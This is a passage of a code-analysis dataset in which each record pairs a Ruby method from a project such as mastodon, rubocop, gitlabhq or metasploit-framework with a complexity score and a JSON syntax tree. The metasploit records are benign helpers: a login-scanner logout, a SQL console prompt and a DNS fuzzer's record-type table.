end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to load plugin \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" due to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"require '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"' failed with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@enabled\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"d4fa957f-c244-492f-a594-1a58b3d5ee59"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/suggestions_controller.rb","start_line":28,"raw_source":"def schedule_fasp_retrieval\n    return unless Mastodon::Feature.fasp_enabled?\n    # Do not schedule a new retrieval if the request is a follow-up\n    # to an earlier retrieval\n    return if request.headers['Mastodon-Async-Refresh-Id'].present?\n\n    refresh_key = \"fasp:follow_recommendation:#{current_account.id}\"\n    return if AsyncRefresh.new(refresh_key).running?\n\n    add_async_refresh_header(AsyncRefresh.create(refresh_key))\n\n    Fasp::FollowRecommendationWorker.perform_async(current_account.id)\n  end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_fasp_retrieval\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Feature\"]},\"fasp_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Mastodon-Async-Refresh-Id\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"refresh_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"fasp:follow_recommendation:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AsyncRefresh\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"refresh_key\"]}]},\"running?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_async_refresh_header\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AsyncRefresh\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"refresh_key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"FollowRecommendationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]}]}]}","id":"3bfddbad-5bb1-41f5-9297-db76af354738"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/runner.rb","start_line":472,"raw_source":"def default_config(cop_name)\n      RuboCop::ConfigLoader.default_configuration[cop_name]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"ConfigLoader\"]},\"default_configuration\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]}]}","id":"12823af8-7343-47e1-b331-a14d310acc3a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/message.rb","start_line":246,"raw_source":"def should_index?\n    return false unless ChatwootApp.advanced_search_allowed?\n    return false unless incoming? || outgoing?\n    # For Chatwoot Cloud:\n    #   - Enable indexing only if the account is paid.\n    #   - The `advanced_search_indexing` feature flag is used only in the cloud.\n    #\n    # For Self-hosted:\n    #   - Adding an extra feature flag here would cause confusion.\n    #   - If the user has configured Elasticsearch, enabling `advanced_search`\n    #     should automatically work without any additional flags.\n    return false if ChatwootApp.chatwoot_cloud? && !account.feature_enabled?('advanced_search_indexing')\n\n    true\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_index?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootApp\"]},\"advanced_search_allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incoming?\"]},{\"type\":\"send\",\"children\":[null,\"outgoing?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootApp\"]},\"chatwoot_cloud?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"feature_enabled?\",{\"type\":\"str\",\"children\":[\"advanced_search_indexing\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"9ea86cd0-a106-4538-b0c9-8eef48f13c1c"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/user_query_executor.rb","start_line":204,"raw_source":"def extract_user_ids(result)\n    return [] unless result.is_a?(PG::Result)\n\n    user_ids = []\n    result.each do |row|\n      # Handle different possible column names for user ID\n      user_id = row[\"id\"] || row[\"user_id\"] || row[\"users.id\"]\n      if user_id\n        user_ids << user_id.to_i\n      end\n    end\n\n    user_ids.uniq\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_user_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Result\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"users.id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"to_i\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"uniq\"]}]}]}","id":"c7a4e94a-3689-40b3-bbad-db05846bbfe2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/ivanti_login.rb","start_line":59,"raw_source":"def do_admin_logout(cookies)\n          admin_page_res = send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-admin/misc/admin.cgi?'), 'cookie' => cookies })\n          admin_page_s = admin_page_res.to_s\n          re = /xsauth=[a-z0-9]{32}/\n          xsauth = re.match(admin_page_s)\n\n          return nil if xsauth.nil?\n\n          send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-na/auth/logout.cgi?' + xsauth[0]), 'cookie' => cookies })\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"do_admin_logout\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookies\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_page_res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/dana-admin/misc/admin.cgi?\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"admin_page_s\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_page_res\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"re\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"xsauth=[a-z0-9]{32}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xsauth\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"admin_page_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xsauth\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/dana-na/auth/logout.cgi?\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xsauth\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]}]}","id":"9235bcf2-5e30-461e-b140-9d2a2f4a8bdb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/sql/ui/console/interactive_sql_client.rb","start_line":51,"raw_source":"def _suspend\n    if (prompt_yesno('Background interactive SQL prompt?') == true)\n      self.interacting = false\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"_suspend\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prompt_yesno\",{\"type\":\"str\",\"children\":[\"Background interactive SQL prompt?\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"interacting=\",{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"2d30a073-e301-48d4-a201-2ccf09445e8a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/map_into_array.rb","start_line":151,"raw_source":"def find_closest_assignment(block, dest_var)\n          dest_var.assignments.reverse_each.lazy.map(&:node).find do |node|\n            node.source_range.end_pos < block.source_range.begin_pos\n          end\n        end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"find_closest_assignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]},{\"type\":\"arg\",\"children\":[\"dest_var\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest_var\"]},\"assignments\"]},\"reverse_each\"]},\"lazy\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]}]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end_pos\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"source_range\"]},\"begin_pos\"]}]}]}]}","id":"b3898cd0-f9b3-4b50-99ff-abe1245a8b5b"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/callbacks.rb","start_line":50,"raw_source":"def before_subscribe(*methods, &block)\n          set_callback(:subscribe, :before, *methods, &block)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_subscribe\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"methods\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"set_callback\",{\"type\":\"sym\",\"children\":[\"subscribe\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"74ba49ec-bd88-4c41-b4a1-fd8a95122128"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/quality/seeders/issues.rb","start_line":61,"raw_source":"def create_team_members!\n        3.times do |i|\n          user = FactoryBot.create(\n            :user,\n            name: \"I User#{i}\",\n            username: \"i-user-#{i}-#{suffix}\",\n            email: \"i-user-#{i}@#{suffix}.com\"\n          )\n\n          # need owner access to allow changing Issue#created_at\n          project.add_owner(user)\n        end\n\n        Sidekiq::Worker.skipping_transaction_check do\n          AuthorizedProjectUpdate::ProjectRecalculateService.new(project).execute\n        end\n\n        # Refind object toreload ProjectTeam association which is memoized at Project model\n        @project = Project.find(project.id)\n      end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_team_members!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"I User\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"i-user-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suffix\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"i-user-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suffix\"]}]},{\"type\":\"str\",\"children\":[\".com\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"add_owner\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Worker\"]},\"skipping_transaction_check\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorizedProjectUpdate\"]},\"ProjectRecalculateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"execute\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]}]}","id":"556cbe59-e6be-4515-9d36-2d78a9139e7a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/protected_branches/create_service.rb","start_line":21,"raw_source":"def save_protected_branch\n      protected_branch.save.tap do\n        # Refresh all_protected_branches association as it is not automatically updated\n        project_or_group.all_protected_branches.reset if project_or_group.is_a?(Project)\n\n        publish_created_event\n      end\n    end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"save_protected_branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branch\"]},\"save\"]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_or_group\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_or_group\"]},\"all_protected_branches\"]},\"reset\"]},null]},{\"type\":\"send\",\"children\":[null,\"publish_created_event\"]}]}]}]}","id":"98947b5f-54cb-43ea-a8b6-602bf23c496a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb","start_line":226,"raw_source":"def setup_reqns(nsreq)\n    reqns = ''\n    for idx in nsreq\n      reqns << {\n        'A' => 0x0001, 'NS' => 0x0002, 'MD' => 0x0003, 'MF' => 0x0004,\n        'CNAME' => 0x0005, 'SOA' => 0x0006, 'MB' => 0x0007, 'MG' => 0x0008,\n        'MR' => 0x0009, 'NULL' => 0x000a, 'WKS' => 0x000b, 'PTR' => 0x000c,\n        'HINFO' => 0x000d, 'MINFO' => 0x000e, 'MX' => 0x000f, 'TXT' => 0x0010,\n        'RP' => 0x0011, 'AFSDB' => 0x0012, 'X25' => 0x0013, 'ISDN' => 0x0014,\n        'RT' => 0x0015, 'NSAP' => 0x0016, 'NSAP-PTR' => 0x0017, 'SIG' => 0x0018,\n        'KEY' => 0x0019, 'PX' => 0x001a, 'GPOS' => 0x001b, 'AAAA' => 0x001c,\n        'LOC' => 0x001d, 'NXT' => 0x001e, 'EID' => 0x001f, 'NIMLOC' => 0x0020,\n        'SRV' => 0x0021, 'ATMA' => 0x0022, 'NAPTR' => 0x0023, 'KX' => 0x0024,\n        'CERT' => 0x0025, 'A6' => 0x0026, 'DNAME' => 0x0027, 'SINK' => 0x0028,\n        'OPT' => 0x0029, 'APL' => 0x002a, 'DS' => 0x002b, 'SSHFP' => 0x002c,\n        'IPSECKEY' => 0x002d, 'RRSIG' => 0x002e, 'NSEC' => 0x002f, 'DNSKEY' => 0x0030,\n        'DHCID' => 0x0031, 'NSEC3' => 0x0032, 'NSEC3PARAM' => 0x0033, 'HIP' => 0x0037,\n        'NINFO' => 0x0038, 'RKEY' => 0x0039, 'TALINK' => 0x003a, 'SPF' => 0x0063,\n        'UINFO' => 0x0064, 'UID' => 0x0065, 'GID' => 0x0066, 'UNSPEC' => 0x0067,\n        'TKEY' => 0x00f9, 'TSIG' => 0x00fa, 'IXFR' => 0x00fb, 'AXFR' => 0x00fc,\n        'MAILA' => 0x00fd, 'MAILB' => 0x00fe, '*' => 0x00ff, 'TA' => 0x8000,\n        'DLV' => 0x8001, 'RESERVED' => 0xffff\n      }.values_at(idx).pack('n')\n    end\n    return reqns\n  end","complexity_score":33.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_reqns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nsreq\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reqns\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"idx\"]},{\"type\":\"lvar\",\"children\":[\"nsreq\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reqns\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NS\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MD\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MF\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CNAME\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SOA\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MB\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MG\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MR\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NULL\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WKS\"]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PTR\"]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HINFO\"]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MINFO\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MX\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TXT\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RP\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AFSDB\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X25\"]},{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ISDN\"]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RT\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NSAP\"]},{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NSAP-PTR\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SIG\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"KEY\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PX\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GPOS\"]},{\"type\":\"int\",\"children\":[27]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AAAA\"]},{\"type\":\"int\",\"children\":[28]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LOC\"]},{\"type\":\"int\",\"children\":[29]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NXT\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EID\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NIMLOC\"]},{\"type\":\"int\",\"children\":[32]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SRV\"]},{\"type\":\"int\",\"children\":[33]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ATMA\"]},{\"type\":\"int\",\"children\":[34]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NAPTR\"]},{\"type\":\"int\",\"children\":[35]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"KX\"]},{\"type\":\"int\",\"children\":[36]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CERT\"]},{\"type\":\"int\",\"children\":[37]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A6\"]},{\"type\":\"int\",\"children\":[38]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DNAME\"]},{\"type\":\"int\",\"children\":[39]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SINK\"]},{\"type\":\"int\",\"children\":[40]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"OPT\"]},{\"type\":\"int\",\"children\":[41]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"APL\"]},{\"type\":\"int\",\"children\":[42]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DS\"]},{\"type\":\"int\",\"children\":[43]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSHFP\"]},{\"type\":\"int\",\"children\":[44]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"IPSECKEY\"]},{\"type\":\"int\",\"children\":[45]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RRSIG\"]},{\"type\":\"int\",\"children\":[46]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NSEC\"]},{\"type\":\"int\",\"children\":[47]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DNSKEY\"]},{\"type\":\"int\",\"children\":[48]}]},{\"type\":\"pair\",\"children\":[{\"type\":\